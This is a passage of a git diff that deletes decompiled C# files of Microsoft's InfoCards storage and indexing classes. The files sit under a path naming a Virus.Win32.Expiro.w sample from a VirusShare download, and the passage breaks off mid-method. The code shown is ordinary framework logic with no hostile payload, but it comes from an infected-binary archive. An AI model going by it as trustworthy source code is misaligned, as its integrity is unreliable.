UIAgentRequest - { - private InfoCard m_card; - - public SaveCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - Stream inArgs = this.InArgs; - this.m_card = new InfoCard(inArgs); - this.m_card.GetExtendedInformation().Deserialize(inArgs); - this.m_card.GetRPIdentityRequirement().Deserialize(inArgs); - this.m_card.GetClaims().Deserialize(inArgs); - } - - protected override void OnProcess() - { - if (this.m_card == null) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_card.LastUpdate = DateTime.UtcNow; - this.m_card.Save(connection); - connection.CommitTransaction(); - if (this.m_card.IsSelfIssued) - AuditLog.AuditCardWritten(); - else - AuditLog.AuditCardImport(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveLedgerEntryRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveLedgerEntryRequest.cs deleted file mode 100644 index c4b03a82..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveLedgerEntryRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveLedgerEntryRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveLedgerEntryRequest : UIAgentRequest - { - public SaveLedgerEntryRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() => ((GetTokenRequest) this.ParentRequest).SaveLedgerEntry(); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveRecipientRequest.cs deleted file mode 100644 index 8710f1fb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SaveRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SaveRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SaveRecipientRequest : UIAgentRequest - { - private Recipient m_recipient; - - public SaveRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null RPC handle"); - InfoCardTrace.Assert(null != inArgs, "Null InArgs"); - InfoCardTrace.Assert(null != outArgs, "Null outArgs"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "Null inArgs"); - this.m_recipient = new Recipient(this.InArgs); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(null != this.m_recipient, " Null Recipient"); - connection.BeginTransaction(); - try - { - this.m_recipient.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndex.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndex.cs deleted file mode 100644 index d25322c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndex.cs +++ /dev/null @@ -1,334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndex -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndex - { - private byte[] m_buffer; - private int m_lastIndex; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - private SecondaryIndexDefinition m_definition; - private bool m_isOpen; - - public SecondaryIndex( - SecondaryIndexDefinition definition, - IComparer search, - IComparer sort) - { - if (definition == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definition)); - if (search == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (search)); - if (sort == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (sort)); - this.m_definition = definition; - this.m_searchComparer = search; - this.m_sortComparer = sort; - this.Clear(); - this.m_isOpen = true; - } - - public SecondaryIndexDefinition Definition - { - get - { - this.ThrowIfNotOpen(); - return this.m_definition; - } - } - - public int LastIndex - { - get - { - this.ThrowIfNotOpen(); - return this.m_lastIndex; - } - } - - public byte[] GetBuffer() - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - - internal void SetValuesForId(int id, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - IndexObject[] array = indexBuffer[this.m_definition.Name].ToArray(); - if (remove) - this.RemoveForIdAndShiftData(id); - if (array == null || array.Length == 0) - return; - for (int index = 0; index < array.Length; ++index) - { - if (!array[index].IsCompiled) - { - if (!array[index].CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - array[index].Compile(this.m_definition); - } - this.ValidateIndexValue(array[index].CompiledForm); - this.ShiftAndInsertValues(id, array[index].CompiledForm); - } - } - - public void RemoveAllValuesForId(int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - this.RemoveForIdAndShiftData(id); - } - - public unsafe void PopulateRowIndexBuffer(DataRowIndexBuffer buffer, int id) - { - this.ThrowIfNotOpen(); - if (id <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), SR.GetString("StoreLocalIdOutOfRange"))); - if (-1 == this.m_lastIndex) - return; - List indexObjectList = new List(); - fixed (byte* numPtr = &this.m_buffer[0]) - { - for (int index = 0; index < this.m_lastIndex + 1; ++index) - { - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - byte[] numArray = new byte[60]; - Marshal.Copy((IntPtr) (void*) &((SecondaryIndexItem*) numPtr)[index].HashValue, numArray, 0, 60); - indexObjectList.Add(new IndexObject(numArray)); - } - } - if (indexObjectList.Count > 0) - buffer.SetIndexValues(this.m_definition.Name, indexObjectList.ToArray()); - } - } - - public void Close() - { - if (!this.m_isOpen) - return; - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_isOpen = false; - } - - public void ValidateIndexValue(byte[] indexValue) - { - if (SecondaryIndexSettings.Nullable != (this.m_definition.Settings & SecondaryIndexSettings.Nullable) && SecondaryIndex.IsBufferEmpty(indexValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreNullIndexValueNotPermitted", (object) this.m_definition.Name))); - } - - public void SetBuffer(byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - this.m_buffer = buffer; - this.m_lastIndex = lastIndex; - } - - public unsafe int Match(IndexObject obj, LocalIdCollection collection, int low, int high) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (collection == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (collection)); - if ((uint) low > (uint) high) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (low), (object) low, SR.GetString("StoreLowValueOutOfRange"))); - if ((uint) high > (uint) this.m_lastIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (high), (object) high, SR.GetString("StoreHighValueOutOfRange"))); - if (!obj.IsCompiled) - { - if (!obj.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - obj.Compile(this.m_definition); - } - this.ValidateIndexValue(obj.CompiledForm); - SecondaryIndexItem secondaryIndexItem; - Marshal.Copy(obj.CompiledForm, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - return this.Match(&secondaryIndexItem, collection, low, high); - } - - public void Clear() - { - this.m_buffer = new byte[sizeof (SecondaryIndexItem) * this.m_definition.InitialSize]; - this.m_lastIndex = -1; - } - - private unsafe void RemoveForIdAndShiftData(int id) - { - if (-1 == this.m_lastIndex) - return; - int num1 = this.m_lastIndex + 1; - int num2 = 0; - int index = 0; - fixed (byte* numPtr = &this.m_buffer[0]) - { - do - { - InfoCardTrace.Assert((uint) num2 < (uint) this.m_buffer.Length, "currentOffset is invalid or has been corrupted."); - InfoCardTrace.Assert(0 == num2 % sizeof (SecondaryIndexItem), "currentOffset is not aligned proppertly. This can cause data corruption."); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr <= (long) (num1 * sizeof (SecondaryIndexItem)), "Current IndexPointer has walked beyond the total count of valid data."); - index = num2 / sizeof (SecondaryIndexItem); - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "Current IndexPointer has walked beyond the allocated buffer"); - if (((SecondaryIndexItem*) numPtr)[index].LocalId == id) - { - if (num1 != index + 1) - { - InfoCardTrace.Assert(this.m_lastIndex >= 0, "LastIndex indicates an invalid state for the index"); - Array.Copy((Array) this.m_buffer, num2 + sizeof (SecondaryIndexItem), (Array) this.m_buffer, num2, (num1 - (index + 1)) * sizeof (SecondaryIndexItem)); - Array.Clear((Array) this.m_buffer, this.m_lastIndex * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem)); - } - else - Array.Clear((Array) this.m_buffer, num2, sizeof (SecondaryIndexItem)); - --this.m_lastIndex; - --num1; - } - else - num2 += sizeof (SecondaryIndexItem); - } - while (num2 / sizeof (SecondaryIndexItem) < num1); - } - } - - private unsafe void ShiftAndInsertValues(int id, byte[] indexValue) - { - InfoCardTrace.Assert(id > 0, "Invalid LocalId"); - InfoCardTrace.Assert(null != indexValue, "Null indev value passed"); - InfoCardTrace.Assert(indexValue.Length == 60, "Index buffer is not correct size."); - SecondaryIndexItem secondaryIndexItem; - secondaryIndexItem.LocalId = id; - Marshal.Copy(indexValue, 0, (IntPtr) (void*) &secondaryIndexItem.HashValue, 60); - this.AddItem(&secondaryIndexItem); - } - - private static bool IsBufferEmpty(byte[] hash) - { - for (int index = 0; index < hash.Length; ++index) - { - if (hash[index] != (byte) 0) - return false; - } - return true; - } - - private unsafe int BSearch( - SecondaryIndexItem* pMatch, - IComparer comp, - int lowStart, - int highStart) - { - int num1 = lowStart; - int num2 = highStart; - fixed (byte* numPtr = &this.m_buffer[0]) - { - while (num1 <= num2) - { - int num3 = (num2 + num1) / 2; - int num4 = comp.Compare((IntPtr) (void*) pMatch, (IntPtr) (void*) ((SecondaryIndexItem*) numPtr + num3)); - if (num4 == 0) - { - num2 = num3; - if (num2 == num1) - return num2; - } - else if (num4 < 0) - num2 = num3 - 1; - else - num1 = num3 + 1; - } - } - return ~num1; - } - - private unsafe int Match( - SecondaryIndexItem* pMatch, - LocalIdCollection results, - int lowStart, - int highStart) - { - int index = this.BSearch(pMatch, this.m_searchComparer, lowStart, highStart); - if (index >= 0) - { - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert(index * sizeof (SecondaryIndexItem) < this.m_buffer.Length, "Index has moved beyond the allocated buffer."); - do - { - results.Add(((SecondaryIndexItem*) numPtr)[index].LocalId); - ++index; - } - while (index <= this.m_lastIndex && this.m_searchComparer.Compare((IntPtr) (void*) ((SecondaryIndexItem*) numPtr + index), (IntPtr) (void*) pMatch) == 0); - } - --index; - } - return index; - } - - private unsafe void AddItem(SecondaryIndexItem* pMatch) - { - InfoCardTrace.Assert(IntPtr.Zero != (IntPtr) pMatch, "Match pointer is null"); - InfoCardTrace.Assert(pMatch->LocalId > 0, "Match pointer has invalid local id"); - int num1; - if (SecondaryIndexSettings.Unique == (this.m_definition.Settings & SecondaryIndexSettings.Unique)) - { - num1 = this.BSearch(pMatch, this.m_searchComparer, 0, this.m_lastIndex); - if (num1 >= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUniqueIndexConstraintBroken", (object) this.m_definition.Name))); - } - else - num1 = this.BSearch(pMatch, this.m_sortComparer, 0, this.m_lastIndex); - if (num1 >= 0) - return; - int index = ~num1; - int num2 = this.m_lastIndex + 1; - int num3 = this.m_buffer.Length / sizeof (SecondaryIndexItem); - if (num2 + 1 >= num3) - this.GrowIndex(); - if (index < num2) - { - int num4 = num2 * sizeof (SecondaryIndexItem); - int sourceIndex = index * sizeof (SecondaryIndexItem); - int destinationIndex = sourceIndex + sizeof (SecondaryIndexItem); - int length = num4 - sourceIndex; - InfoCardTrace.Assert(length > 0, "No Bytes to copy into index."); - Array.Copy((Array) this.m_buffer, sourceIndex, (Array) this.m_buffer, destinationIndex, length); - } - fixed (byte* numPtr = &this.m_buffer[0]) - { - InfoCardTrace.Assert((SecondaryIndexItem*) numPtr + index - (SecondaryIndexItem*) numPtr < (long) this.m_buffer.Length, "IndexPointer is beyond the end of the allocated buffer"); - ((SecondaryIndexItem*) numPtr)[index] = *pMatch; - } - ++this.m_lastIndex; - } - - private void GrowIndex() - { - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_buffer.Length, sizeof (SecondaryIndexItem), 5); - InfoCardTrace.Assert(increaseByPercent > this.m_buffer.Length && 0 == increaseByPercent % sizeof (SecondaryIndexItem), "New size calculated for index is invalid."); - int length = (this.m_lastIndex + 1) * sizeof (SecondaryIndexItem); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, length); - Array.Clear((Array) this.m_buffer, 0, length); - this.m_buffer = destinationArray; - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndex))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexDefinition.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexDefinition.cs deleted file mode 100644 index 8a815300..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexDefinition.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexDefinition -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class SecondaryIndexDefinition - { - public const string GlobalIdIndex = "ix_globalid"; - public const string ObjectTypeIndex = "ix_objecttype"; - public const string NameIndex = "ix_name"; - public const string RecipientIdIndex = "ix_name"; - public const string ProductionServiceIndex = "ix_production_svc_uri"; - public const string ParentIdIndex = "ix_parentid"; - public const string MasterKeyIndex = "ix_masterkey"; - public const string SupportedClaimIndex = "ix_supportclaim"; - public const string SupportedAuthIndex = "ix_supportauth"; - private static readonly SecondaryIndexDefinition[] s_masterIndexes = new SecondaryIndexDefinition[8] - { - new SecondaryIndexDefinition("ix_globalid", 10, 20, SecondaryIndexSettings.Unique, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_objecttype", 10, 20, SecondaryIndexSettings.None, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_name", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_production_svc_uri", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseInsensitiveWithHashing), - new SecondaryIndexDefinition("ix_parentid", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary), - new SecondaryIndexDefinition("ix_masterkey", 10, 20, SecondaryIndexSettings.Nullable | SecondaryIndexSettings.Unique, Canonicalizers.BinaryWithHashing), - new SecondaryIndexDefinition("ix_supportclaim", 50, 20, SecondaryIndexSettings.Nullable, Canonicalizers.CaseSensitiveWithHashing), - new SecondaryIndexDefinition("ix_supportauth", 10, 20, SecondaryIndexSettings.Nullable, Canonicalizers.Binary) - }; - private int m_initialSize; - private int m_growthFactor; - private SecondaryIndexSettings m_settings; - private string m_name; - private ICanonicalizer m_canonicalizer; - - private SecondaryIndexDefinition( - string name, - int initialSize, - int growthFactor, - SecondaryIndexSettings settings, - ICanonicalizer canonicalizer) - { - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - if (initialSize <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (initialSize), (object) initialSize, SR.GetString("StoreIndexInitialSizeInvalid"))); - if (canonicalizer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (canonicalizer)); - if (growthFactor <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (growthFactor), (object) growthFactor, SR.GetString("StoreIndexGrowthFactorInvalid"))); - this.m_initialSize = initialSize; - this.m_growthFactor = growthFactor; - this.m_settings = settings; - this.m_name = name; - this.m_canonicalizer = canonicalizer; - } - - public static SecondaryIndexDefinition[] MasterIndexes => SecondaryIndexDefinition.s_masterIndexes; - - public ICanonicalizer Canonicalizer => this.m_canonicalizer; - - public string Name => this.m_name; - - public int InitialSize => this.m_initialSize; - - public int GrowthFactor => this.m_growthFactor; - - public SecondaryIndexSettings Settings => this.m_settings; - - public static SecondaryIndexDefinition GetByName(string name) - { - for (int index = 0; index < SecondaryIndexDefinition.s_masterIndexes.Length; ++index) - { - if (SecondaryIndexDefinition.s_masterIndexes[index].Name == name) - return SecondaryIndexDefinition.s_masterIndexes[index]; - } - return (SecondaryIndexDefinition) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexItem.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexItem.cs deleted file mode 100644 index c21dc123..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexItem.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexItem -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 64)] - internal struct SecondaryIndexItem - { - public const int StructSize = 64; - public const int HashValueSize = 60; - public const int LocalIdSize = 4; - public const int HashValueOffset = 0; - public const int LocalIdOffset = 60; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)] - [FieldOffset(0)] - public byte HashValue; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int LocalId; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexList.cs deleted file mode 100644 index 1f073474..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SecondaryIndexList.cs +++ /dev/null @@ -1,203 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndexList - { - private Hashtable m_indexes; - private bool m_isOpen; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - - public SecondaryIndexList(SecondaryIndexDefinition[] definitions) - { - if (definitions == null || definitions.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definitions)); - this.m_indexes = new Hashtable(definitions.Length, (IEqualityComparer) StringComparer.Create(CultureInfo.InvariantCulture, false)); - this.m_sortComparer = (IComparer) new SecondaryIndexList.SortComparer(); - this.m_searchComparer = (IComparer) new SecondaryIndexList.SearchComparer(); - for (int index = 0; index < definitions.Length; ++index) - this.m_indexes.Add((object) definitions[index].Name, (object) new SecondaryIndex(definitions[index], this.m_searchComparer, this.m_sortComparer)); - this.m_isOpen = true; - } - - public int Count - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes.Count; - } - } - - internal Hashtable InnerIndexes - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes; - } - } - - public void SetBuffer(string indexId, byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer)); - if ((uint) lastIndex > (uint) buffer.Length && lastIndex != -1) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (lastIndex), (object) lastIndex, SR.GetString("StoreLastIndexOutOfRange"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).SetBuffer(buffer, lastIndex); - } - - public void SetValuesForId(int localId, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (localId < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (localId), (object) localId, SR.GetString("StoreLocalIdOutOfRange"))); - if (indexBuffer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (indexBuffer)); - this.PreValidateIndexBuffer(indexBuffer); - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).SetValuesForId(localId, indexBuffer, remove); - } - - public bool Match(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfNotOpen(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (!this.m_indexes.ContainsKey((object) match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (match), (object) match.IndexName, SR.GetString("StoreIndexNameInvalid"))); - SecondaryIndex index1 = (SecondaryIndex) this.m_indexes[(object) match.IndexName]; - if (-1 == index1.LastIndex) - return false; - bool flag = false; - for (int index2 = 0; index2 < match.Count; ++index2) - { - IndexObject indexObject = match[index2]; - if (index1.Match(indexObject, localIds, 0, index1.LastIndex) >= 0) - flag = true; - } - return flag; - } - - public void PopulateRowIndexBuffer(DataRow row) - { - this.ThrowIfNotOpen(); - DataRowIndexBuffer indexBuffer = row.IndexBuffer; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).PopulateRowIndexBuffer(row.IndexBuffer, row.LocalId); - } - - public void RemoveAllValuesForId(int id) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - this.RemoveAllValuesForId(key, id); - } - - public void RemoveAllValuesForId(string indexId, int id) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).RemoveAllValuesForId(id); - } - - public void Close() - { - if (!this.m_isOpen) - return; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).Close(); - this.m_isOpen = false; - } - - private void PreValidateIndexBuffer(DataRowIndexBuffer buffer) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - { - SecondaryIndex index = (SecondaryIndex) this.m_indexes[(object) key]; - if (SecondaryIndexSettings.Nullable != (index.Definition.Settings & SecondaryIndexSettings.Nullable) && (buffer[key] == null || buffer.GetValueCount(key) == 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexValueCanNotBeNull", (object) index.Definition.Name))); - } - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndexList))); - } - - private class SearchComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SearchComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SearchComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = 